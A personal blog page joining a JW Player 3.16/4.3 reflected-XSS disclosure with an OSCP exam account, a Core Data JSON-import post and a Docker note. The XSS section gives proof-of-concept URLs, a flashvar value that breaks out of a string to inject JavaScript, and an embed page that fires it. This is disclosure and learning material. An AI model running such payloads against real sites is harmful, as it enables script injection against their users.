Summary

JW Player v3.16 and v4.3 have an XSS vulnerability. It’s not serious, though, since it requires user interaction to cause the code to execute.

v3.16 POC:http://localhost/mediaplayer.swf?aboutlnk=javascript:alert(1)

v4.3 POC:http://localhost/mediaplayer.swf?aboutlink=javascript:alert(1)

Intro

In Frans Rosen’s talk on bug bounties, he recommends searching for Flash files, since a lot of them are vulnerable. This piqued my interest, so I did some research.

The Tools

What’s wrong with Flash?

There are a lot of unsafe functions in Actionscript:

loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load 
LoadVars.send 
XML.load ( 'url' )
LoadVars.load ( 'url' ) 
Sound.loadSound( 'url' , isStreaming ); 
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
HtmlText
navigateToURL(request)

The other issue is that you can add parameters (Flashvars) to the URL. Combine these two issues and you can create reflected XSS attacks like this: https://mysite.com/player.swf?callback=javascript:alert(1).

Reflected XSS in JW Player

I came across a copy of JW Player 3.16 and found an XSS vulnerability. Version 5 also had a few XSS vulns, which you can read about here and here. They weren’t interested in doing hotfixes for old versions, but they are fixed in the current JWPlayer 7.8.

v3.16

Anyways, for v3.16, you can find the source code here: https://github.com/psych0d0g/kplaylist-ng/tree/master/mediaplayer-3-16

In ConfigManager.as, we find these lines:

    public function goTo(obj,itm) {
        getURL(obj.ref.config['aboutlnk'],'_blank');
    };

The aboutlnk is a FlashVar. getURL is an unsafe function that will run Javascript. To get this to work you need to paste http://localhost/mediaplayer.swf?aboutlnk=javascript:alert(1) , right click to get the context menu, and then click the “About” option. This works in Firefox v50.

v4.3

I found a copy of version v4.3 in the Internet Archive. The vulnerability is still there.

In Rightclick.as:

	/** jump to the about page. **/
	private function aboutSetter(evt:ContextMenuEvent):void {
		navigateToURL(new URLRequest(view.config['aboutlink']),'_blank');
	};

In v4.3, they rewrote it in ActionScript 3. So they use navigateToURL instead of getURL, but it’s still not a safe function to pass FlashVars to. The FlashVar variable name also changed from aboutlnk to actionlink.

This URL works in Firefox v50:http://localhost/mediaplayer.swf?aboutlink=javascript:alert(1)

v5.1

Out of curiousity, I checked v5.1 and they finally fixed it by hardcoding the value.

In Rightclick.as:

/** jump to the about page. **/
		protected function aboutHandler(evt:ContextMenuEvent):void {
			navigateToURL(new URLRequest('http://www.longtailvideo.com/players/jw-flv-player'), '_blank');
		}

I contacted them about this, and asked if they were going to issue a patch or send out a bulletin. They replied they didn’t support old versions.

Almost, but not quite

In this code, from CallbackView.as, we see another example of how we can use FlashVars to make the Flash file run Javascript:

/** sending the current file,title,id,state,timestamp to callback **/
    private function sendVars(stt:String,dur:Number,cpl:Boolean) {
        clearInterval(playSentInt);
        if(config['callback'] == "urchin" || config['callback'] == "analytics") {
            var fil = feeder.feed[currentItem]["file"];
            var fcn = "javascript:pageTracker._trackPageview";
            if(config['callback'] == "urchin") {
                fcn = "javascript:urchinTracker";
            }
            if(fil.indexOf('http') != undefined) {
                fil = fil.substring(fil.indexOf('/',7)+1);
            }
            if(stt == "start") {
                getURL(fcn+"('/start_stream/"+fil+"');");
            } else if (stt == "stop" && cpl == true) {
                getURL(fcn+"('/end_stream/"+fil+"');");
            }
        } else {
            varsObject.file = feeder.feed[currentItem]["file"];
            varsObject.title = feeder.feed[currentItem]["title"];
            varsObject.id = feeder.feed[currentItem]["id"];
            varsObject.state = stt;
            varsObject.duration = dur;
            varsObject.sendAndLoad(config["callback"],varsObject,"POST");
        }
    };

Using the callback and file FlashVars, we can get the line

getURL(fcn+"('/end_stream/"+fil+"');");

to execute.

If we use ?file=video.flv&callback=urchin, it would fire off

javascript:urchinTracker(‘end_stream/video.flv’);

but that would be pretty boring.

By changing the file parameter, however, we can get it to execute custom Javascript.

Example:

file=video');alert(1);void('.flv. 

This would cause the browser to execute

javascript:urchinTracker(‘end_stream/video’);alert(1):void(‘.flv’);

Unfortunately, this can’t be used for a reflected XSS attack, since the function urchinTracker isn’t there if you just pull up the swf file url. Since the browser would try to execute the non-existent urchinTracker()_ before alert(), you’d get a runtime error. The only way to exploit this would be if a page embedded the the file and also let you specify the flashvars in the url.

As an example, try putting the following in a webpage. It will automatically play, stop, and pop an alert box. It works in Firefox, Chrome, and Safari.

function urchinTracker(){
}
 <object style="height:360px;width:640px;" data="mediaplayer.swf" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="file=video');alert(1);void('.flv&enablejs=true&callback=urchin&autostart=true" id="jstest" ></object> 

Automate it

As with many things in security, finding these files and exploiting them can be tedious if you have to do it manually. A better approach would be to write a script to scrape Google for the Flash files, download them, decompile them, and grep the unsafe function names.

Why the OSCP?

I’ve been doing software development, but I felt like making a switch to security. Since I didn’t have any experience, I thought the OSCP would help me get my foot in the door. It’s widely respected because the exam is hands-on. You’re required to break into several machines in 24 hours. Most of the other certs are multiple-choice.

Background

I’ve done work in iOS and Python. I’ve also done some web development (MySQL, JavaScript, PHP, etc.). That experience came in handy when I had to modify exploit code and automate grunt work. I’ve set up VPS servers as backends, which gave me exposure to Linux. You don’t need to be a sysadmin or a developer to pass this course, but you should know the basics.

Course

How much lab time should you sign up for? That depends on your background and your schedule. If you have a lot of pentesting experience and free time, it’s possible to do it in 30 days. If you have solid sysadmin skills and you can code, try 60 days. For everyone else, I’d recommend 90 days.

I signed up for 90 days, and then I extended that by another 30 days. You get a free exam attempt for signing up. If you buy more time, they give you another free exam attempt, but they don’t stack up. So if you buy 60 days, don’t take the exam, and then buy another 30 days, you only get one attempt.

After you sign up, you get a connection pack that gives you access to the lab via VPN. They also email you links to the course manual and lecture videos. Download those ASAP, since these links expire. Also, store backup copies on a USB. If you request another, they’ll charge you $100.

Labs

In the lab, there are 50 machines you can break into. You don’t have to do all of them. Some boxes are dual-homed so check every machine’s ifconfig or ipconfig output. If it’s dual-homed, there will probably be a network-secret.txt file you can use to unlock the other networks.

The machines are there for you to develop your process. This is the single most important thing you can do to prepare for the exam. Whenever I got a shell or root, I updated my process to check for that vector.

Look for the low hanging fruit. This will help in the exam, as well. If you’re stuck, and you’ve already done a lot of enumeration, move on the next host, then circle back. Some of the machines rely on an obscure detail that’s easy to miss. Others hosts rely on clues found in another machine, so do your post-exploitation.

After a while, you’re going to run out of easy machines, and then you’ll hit a wall. If you’ve never experienced it before, there’s nothing quite like grinding away, hour after hour, trying one attack vector after another, and getting that sinking feeling that you’ve wandered down into a rabbit hole. This is when you’ll learn the true meaning of the Offsec motto: “Try Harder.”

The Forums Are Your Friend

If you’ve done your enumeration and you’re still stuck on a machine, check the forums. The admins will remove any obvious spoilers. What’s left is a collection of vague references that will only make sense to someone who’s done the enumeration.

The forums also cover the course modules as well. Sometimes, you’ll run into instances where the examples in the manual don’t work on your machine. When that happens, it’s helpful to ask if it worked for anyone else.

I didn’t use the IRC channel, but from what I’ve heard, the admins are always going to err on the side of telling you to try harder. If you’ve shown them you’ve done all the enumeration, they might give you a clue.

Scripting

Learn how to script everything with Python, Perl, or bash. This applies to both enumeration and post-exploitation. There are a number of scripts that do enumeration for you, but you should also look around manually as well. Check the user’s home directories, desktop, /etc/, and anything that looks interesting.

Backups

If you’re running Kali in a VM, take frequent snapshots. Try to take one daily, or after you’ve made progress on a host.

Metasploit

Learn to use Metasploit, but don’t rely on it. In the exam, they only let you use the post and exploit modules on one host. You can use multi/handler, meterpreter, and msfvenom on any host, so familiarize yourself with them. Lastly, don’t give up if a payload doesn’t work. Sometimes, you just need to try a different one.

Before the Exam

Offsec will give you a link to the exam instructions ahead of time. Be sure to read ALL the directions. In particular, read the part about how to do proper screenshots for the proofs. If your monitor can’t fit all the lines in one screenshot, try temporarily decreasing the font size of the terminal app. Also, make sure you have your shells, privesc exploits, and other files organized into folders, for quick access.

Exam

For the exam, there are five hosts, each of which is worth 10-25 points. You need at least 70 points to pass. To get full points, you need to get root on a machine. Getting a limited shell only gives you partial credit.

At 2 PM, they emailed me the connection files. I logged in and started scanning the network. The first scan found some interesting ports, so I worked on those, while the other scans completed. I also started brute-forcing the directory names and logins. At 8 PM, I got a limited shell on a 20-point machine. At 2 AM, I got admin access on the machine. I hadn’t been working on just that one machine the whole time. I had been doing research on all the services I found on the other machines, so I had promising leads on most of them.

Around 5 AM, I got a shell on a 25-point machine. Two and half hours later, I got the privilege escalation working. After a nap, I worked on the buffer overflow machine. If you’ve done the homework, you shouldn’t have a problem writing the exploit. I had 70 points, which was enough to pass, but I wanted some more just in case. At 12:30 PM, I knocked over the 10-point machine, giving me 80 points. For the last 20-point machine, I had a pretty good idea of what I had to do to get a shell. I had done something similar in the labs, but this one had a different feature. After you pass the exam, they give you access to a “graduate” forum, so I found out I had been on the right track. Anyways, at that point, I had been up for 22 hours, so I called it a day.

Overall, I thought the exam machines were more straightforward than some of the lab machines. If you do your enumeration properly, you should be able to pass.

Report

After staying up all night for the exam, I crashed and slept in. I then relaxed for a few hours before starting the report. Mistake! Start your report ASAP after you wake up. Better yet, start setting it up before the exam. If you’re not a MS Word guru, you don’t want to fiddle with the formatting while you’re in a rush. Before you start the exam, open up the report template and look at the vulnerabilities section. There are two sample entries (IP address, severity, remediation, etc.) Due to the formatting, copy and paste doesn’t work as well as you think it would. Have multiple blank entries ready to go, each with the same formatting as the sample ones. Make sure each item has a source code section. You can always delete that if you don’t need it.

Other tips:

  • Make sure you save multiple copies while you’re writing the report.
  • Fill in the report directly. I wrote mine in Keepnote first, and then transferred it, which took longer than I expected.
  • If you don’t know what a vulnerability’s severity rating is, look it up on cvedetails.com.
  • Pay attention to the directions for submitting your report. Use the web app to submit your report. Their server rejected my email because of the pdf attachment.

After the exam

After the exam, Offsec emails you the result within 3 business days. I got an email a day later:

alt text

I received my certificate a month after the exam. Printed on the folder were the words, “I tried harder.”

What’s next?

Getting a job. In the meantime, I’m working on appsec. The course covered it, but not in depth. I’m working through this book and also learning how to use Burp Suite.

Recently, I worked on a project where the app had to download a lot of JSON data and store the results in Core Data.

I decided this was a good time to try out some frameworks, so I installed the pods for RestKit and MagicalRecord.

Trying RestKit

With RestKit, you make a mapping, like:

@{@“job_name”:@“jobName”}

Then you pass that on to the framework, along with the URL and other info, and it automatically downloads, parses, and saves that data into Core Data.

Trying MagicalRecord

MagicalRecord also has convenience methods for importing JSON into Core Data. Just follow the instructions in their documentation. You go into your data model, and populate the User Info (right hand side). Let’s say you have a field called displayName and the JSON object has a display_name field. For the displayName field, you would add a key called mappedKeyName and the value would be display_name.

Once you’ve finished adding keys to the entity, to import something, you’d call:

Person *importedPerson = [Person MR_importFromObject:contactInfo];  

So, just make a few edits and the framework does the rest. Great, right? Well, it depends. If the JSON object is fairly simple, and you’re importing 10 at a time, sure. If the JSON object is gnarly, with multiple subarrays and dictionaries, AND you have to import 50 at a time AND establish relationships among them, not so much. I tried both frameworks, but I felt like I had to do too much work to shoehorn the frameworks into my code.

How I Actually Imported The Data

I ended using AFNetworking to download the JSON, then on completion, I manually looped through all the JSON dictionaries and loaded them into Core Data. For this, I used MagicalRecord’s saveWithBlock method. While I didn’t use its convenience method for importing JSON, MagicalRecord still has a lot of great utilities.

It sets up a decent NSManagedObjectContext stack for you. The stack follows best practices, and uses a persistent store->private queue context (root)->main queue context (default). When you save, it creates a throwaway private context, and makes it a child of the root (private) context. Overall, MagicalRecord eliminates a lot of Core Data boilerplate.

One last thing, don’t forget to use Apple’s best practices for bulk imports. Basically, if you’re importing 50 JSON objects, you want to avoid doing 50 cycles of fetch/check id->create/update->save. Instead, loop through all the objects’ unique IDs, and do one fetch using an “id IN” predicate. This gets the old records. Then do another loop and if an ID is not an old record, you create a new one. So that’s only one fetch and one save vs. 50 fetches + saves.

A few months ago, I wanted to try out Docker, so I installed Dokku-alt on a DigitalOcean VPS. Dokku is basically Heroku on Docker. You push your git repo to a repo on your Docker server, and Dokku will make a container for that app. It’s easy to create containers and link them together, like Node+MariaDB.

The downside is that it’s annoying to customize. Example: Dokku’s default Postgres container uses 9.1 and the encoding is SQL_ASCII. If you want to use 9.4 and UTF8, you would have to dig through the plugin system, and manually edit them. If you’re going to put in the time to read through the Dokku documentation and code, you might as well RTFM and use Docker proper. I’m not the only one that feels this way. Check out this thread on Hacker News.

I ended up using Docker Compose, which makes it easy to create containers and link them together. It doesn’t do it in one line, like Dokku, but the tradeoff is that you get to customize the containers. Dokku also automatically creates the subdomain in nginx for your new service. So if you use Docker Compose, you’ll have to manually edit the nginx.conf.